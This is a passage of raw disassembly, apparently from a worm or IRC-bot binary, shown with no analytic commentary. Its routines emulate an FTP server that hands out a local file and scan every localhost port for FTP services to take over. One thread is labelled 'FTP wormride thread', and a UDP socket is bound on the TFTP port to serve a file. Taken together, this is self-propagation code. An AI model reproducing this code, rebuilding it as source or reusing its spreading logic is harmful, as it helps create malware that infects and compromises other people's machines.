		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_51C], eax
		cmp	[ebp+var_51C], 0
		jnz	short loc_411278
		mov	[ebp+var_51C], offset byte_41DE00


loc_411278:				; CODE XREF: sub_41113B+131j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		push	[ebp+var_528]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C6A0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4112FD
		mov	[ebp+var_4], 1
		push	offset dword_41C698
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4112FD:				; CODE XREF: sub_41113B+178j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C68C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41135D
		mov	[ebp+var_118], 1
		push	offset dword_41C684
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41135D:				; CODE XREF: sub_41113B+1D5j
		cmp	[ebp+var_4], 0
		jz	short loc_41136C
		cmp	[ebp+var_118], 0
		jnz	short loc_411371


loc_41136C:				; CODE XREF: sub_41113B+226j
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411371:				; CODE XREF: sub_41113B+22Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C678
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4113C7
		push	offset dword_41C670
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4113C7:				; CODE XREF: sub_41113B+249j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C664
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41141D
		push	offset dword_41C65C
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41141D:				; CODE XREF: sub_41113B+29Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C654
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_411473
		push	offset dword_41C648
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411473:				; CODE XREF: sub_41113B+2F5j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C63C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4114C9
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4114C9:				; CODE XREF: sub_41113B+34Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C628
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41151F
		push	offset dword_41C620
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41151F:				; CODE XREF: sub_41113B+3A1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C614
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411622
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_52C]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		lea	eax, [ebp+var_530]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_51C]
		call	sub_416BA2	; sscanf
		add	esp, 20h
		movzx	eax, [ebp+var_540]
		push	eax
		movzx	eax, [ebp+var_53C]
		push	eax
		movzx	eax, [ebp+var_538]
		push	eax
		movzx	eax, [ebp+var_530]
		push	eax
		push	offset dword_418A50
		push	100h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 1Ch
		mov	eax, [ebp+var_52C]
		and	eax, 0FFh
		shl	eax, 8
		mov	ecx, [ebp+var_534]
		and	ecx, 0FFh
		or	eax, ecx
		push	eax
		push	offset dword_418A60
		push	6
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411622:				; CODE XREF: sub_41113B+3F7j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5F4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_4116E9
		push	offset aRb	; "rb"
		push	offset dword_41EAFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_548], eax
		cmp	[ebp+var_548], 0
		jnz	short loc_411660
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411660:				; CODE XREF: sub_41113B+51Ej
		push	2
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_544], eax
		push	0
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_544]
		push	offset dword_41C5E8
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4116E9:				; CODE XREF: sub_41113B+4FAj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411873
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_54C], eax
		cmp	[ebp+var_54C], 0
		jz	short loc_411773
		cmp	[ebp+var_54C], 0FFFFFFFFh
		jnz	short loc_411778


loc_411773:				; CODE XREF: sub_41113B+62Dj
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411778:				; CODE XREF: sub_41113B+636j
		push	offset aRb	; "rb"
		push	offset dword_41EAFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_554], eax
		cmp	[ebp+var_554], 0
		jnz	short loc_41179D
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41179D:				; CODE XREF: sub_41113B+65Bj
		push	2
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_550], eax
		push	0
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B82	; fclose
		pop	ecx
		push	offset dword_41EAFC
		push	[ebp+var_550]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_54C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_54C]
		call	sub_40538D
		pop	ecx
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411873:				; CODE XREF: sub_41113B+5C1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C54C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411969
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41102F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_411967
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	1
		push	offset dword_41EAD8
		call	sub_409C88
		pop	ecx
		pop	ecx
		inc	eax
		mov	[ebp+var_558], eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_558]
		push	offset aFtp_0	; "ftp"
		push	offset unk_41C520
		push	offset dword_41DA80
		call	sub_40D4AB
		add	esp, 14h
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411967:				; CODE XREF: sub_41113B+7A4j
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411969:				; CODE XREF: sub_41113B+74Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C514
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4119BA
		push	offset a221	; "221 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch


loc_4119BA:				; CODE XREF: sub_41113B+A5j
					; sub_41113B:loc_411218j ...
		push	offset a231	; "231 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_41113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A09	proc near		; CODE XREF: sub_411BBC+90p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	32h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411A29
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A29:				; CODE XREF: sub_411A09+17j
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411A58
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411A5F


loc_411A58:				; CODE XREF: sub_411A09+44j
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A5F:				; CODE XREF: sub_411A09+4Dj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6D8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_411A09+78j
		push	offset dword_41C6CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411AEE
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411AF5


loc_411AEE:				; CODE XREF: sub_411A09+DAj
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411AF5:				; CODE XREF: sub_411A09+E3j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6C8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411B20
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411B20:				; CODE XREF: sub_411A09+10Ej
		call	sub_410422
		push	eax
		push	offset dword_41C6BC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411B8B
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411B8F


loc_411B8B:				; CODE XREF: sub_411A09+177j
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411B8F:				; CODE XREF: sub_411A09+180j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6B8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411BB7
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411BB7:				; CODE XREF: sub_411A09+1A8j
		push	1
		pop	eax

locret_411BBA:				; CODE XREF: sub_411A09+1Bj
					; sub_411A09+51j ...
		leave
		retn
sub_411A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BBC	proc near		; CODE XREF: sub_411D59+6p

var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		jmp	short loc_411C04
; ---------------------------------------------------------------------------


loc_411BFD:				; CODE XREF: sub_411BBC:loc_411CABj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_411C04:				; CODE XREF: sub_411BBC+3Fj
		cmp	[ebp+var_8], 0FFFFh
		jnb	loc_411CB0
		push	0Ah
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jz	short loc_411CAB
		push	[ebp+var_1C4]
		call	sub_411A09
		pop	ecx
		test	eax, eax
		jz	short loc_411C9F
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411C76
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_10]
		call	sub_404871
		add	esp, 0Ch
		jmp	short loc_411C9F
; ---------------------------------------------------------------------------


loc_411C76:				; CODE XREF: sub_411BBC+A5j
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_411C9F
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411C9F:				; CODE XREF: sub_411BBC+98j
					; sub_411BBC+B8j ...
		push	[ebp+var_1C4]
		call	sub_4053B1
		pop	ecx


loc_411CAB:				; CODE XREF: sub_411BBC+88j
		jmp	loc_411BFD
; ---------------------------------------------------------------------------


loc_411CB0:				; CODE XREF: sub_411BBC+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_411CC9
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411CC9:				; CODE XREF: sub_411BBC+F8j
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset unk_41C6DC
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_411CE5:				; CODE XREF: sub_411BBC:loc_411D3Cj
		push	3E8h
		push	[ebp+var_10]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		cmp	[ebp+var_1C8], 0
		jz	short loc_411D2E
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jz	short loc_411D2E
		push	[ebp+var_1C8]
		push	offset sub_41113B
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411D2E
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_411D2E:				; CODE XREF: sub_411BBC+145j
					; sub_411BBC+14Ej ...
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_411D3C
		jmp	short loc_411D3E
; ---------------------------------------------------------------------------


loc_411D3C:				; CODE XREF: sub_411BBC+17Cj
		jmp	short loc_411CE5
; ---------------------------------------------------------------------------


loc_411D3E:				; CODE XREF: sub_411BBC+17Ej
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_411D55:				; CODE XREF: sub_411BBC+DEj
					; sub_411BBC+108j
		leave
		retn	4
sub_411BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D59	proc near		; DATA XREF: sub_411D68+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_411BBC
		pop	ebp
		retn	4
sub_411D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D68	proc near		; CODE XREF: sub_40A9CF+70Fp
					; sub_40A9CF+735p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4042FB
		test	eax, eax
		jz	short loc_411D77
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D77:				; CODE XREF: sub_411D68+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411D8D
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D8D:				; CODE XREF: sub_411D68+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411D59
		call	sub_4095A4
		add	esp, 10h

locret_411DC3:				; CODE XREF: sub_411D68+Dj
					; sub_411D68+23j
		leave
		retn
sub_411D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC5	proc near		; DATA XREF: sub_4123F6+43o

var_DAC		= dword	ptr -0DACh
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= byte ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= byte ptr -0D98h
var_D94		= dword	ptr -0D94h
var_D90		= dword	ptr -0D90h
var_D8C		= dword	ptr -0D8Ch
var_D88		= dword	ptr -0D88h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D7C		= dword	ptr -0D7Ch
var_D70		= byte ptr -0D70h
var_D6F		= byte ptr -0D6Fh
var_D6E		= byte ptr -0D6Eh
var_D6D		= byte ptr -0D6Dh
var_D6C		= byte ptr -0D6Ch
var_B6C		= dword	ptr -0B6Ch
var_B68		= dword	ptr -0B68h
var_B64		= dword	ptr -0B64h
var_B60		= dword	ptr -0B60h
var_B5C		= dword	ptr -0B5Ch
var_B58		= dword	ptr -0B58h
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_1B0		= word ptr -1B0h
var_1AE		= word ptr -1AEh
var_1AC		= dword	ptr -1ACh
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_11C		= byte ptr -11Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DACh
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0FFFFFFFFh
		jnz	short loc_411E1D
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411E1D:				; CODE XREF: sub_411DC5+43j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1B0], 2
		push	45h
		call	dword_417238	; htons
		mov	[ebp+var_1AE], ax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1AC], eax
		mov	[ebp+var_1A0], 1
		push	4
		lea	eax, [ebp+var_1A0]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_108]
		call	dword_417204	; setsockopt
		push	10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	[ebp+var_108]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411EC2
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411EC2:				; CODE XREF: sub_411DC5+E8j
		push	offset aRb	; "rb"
		push	offset dword_41EAFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0
		jnz	short loc_411F01
		push	[ebp+var_108]
		call	dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411F01:				; CODE XREF: sub_411DC5+11Bj
		mov	eax, [ebp+var_358]
		push	dword ptr [eax]
		push	offset unk_41C788
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	2
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_411F66:				; CODE XREF: sub_411DC5:loc_412084j
					; sub_411DC5:loc_4123C6j
		mov	[ebp+var_B64], 1
		and	[ebp+var_B60], 0
		and	[ebp+var_B5C], 0


loc_411F7E:				; CODE XREF: sub_411DC5+234j
		and	[ebp+var_B68], 0
		jmp	short loc_411F94
; ---------------------------------------------------------------------------


loc_411F87:				; CODE XREF: sub_411DC5:loc_411FB9j
		mov	eax, [ebp+var_B68]
		inc	eax
		mov	[ebp+var_B68], eax


loc_411F94:				; CODE XREF: sub_411DC5+1C0j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnb	short loc_411FBB
		mov	eax, [ebp+var_B68]
		mov	eax, [ebp+eax*4+var_B58]
		cmp	eax, [ebp+var_108]
		jnz	short loc_411FB9
		jmp	short loc_411FBB
; ---------------------------------------------------------------------------


loc_411FB9:				; CODE XREF: sub_411DC5+1F0j
		jmp	short loc_411F87
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: sub_411DC5+1DBj
					; sub_411DC5+1F2j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnz	short loc_411FF5
		cmp	[ebp+var_B5C], 200h
		jnb	short loc_411FF5
		mov	eax, [ebp+var_B68]
		mov	ecx, [ebp+var_108]
		mov	[ebp+eax*4+var_B58], ecx
		mov	eax, [ebp+var_B5C]
		inc	eax
